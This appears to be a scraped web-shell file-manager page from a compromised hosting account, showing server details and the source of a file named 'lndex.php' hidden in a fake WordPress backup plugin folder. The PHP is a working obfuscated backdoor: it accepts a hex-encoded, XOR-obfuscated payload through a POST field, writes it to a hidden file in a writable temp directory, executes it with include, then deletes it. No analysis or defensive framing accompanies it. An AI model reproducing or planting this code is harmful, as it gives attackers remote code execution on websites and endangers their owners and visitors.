HEX
Server: LiteSpeed
System: Linux server318.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: sahadove (2893)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/sahadove/public_html/wp-content/plugins/backup-1766620072/lndex.php
<!--ZvEYl91B-->
<?php

if(isset($_POST["\x69\x74em"]) ? true : false){
$record = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
$symbol = hex2bin($_POST["\x69\x74em"]);
$component ='' ;$o=0;do{$component.=chr(ord($symbol[$o])^37);$o++;}while($o<strlen($symbol));
foreach ($record as $key => $itm) {
            if (is_dir($itm) ? is_writable($itm) : false) {
            $element = "$itm" . "/.parameter_group";
            $marker = fopen($element, 'w');
if ($marker) {
    fwrite($marker, $component);
    fclose($marker);
    include $element;
    @unlink($element);
    die();
}
        }
}
}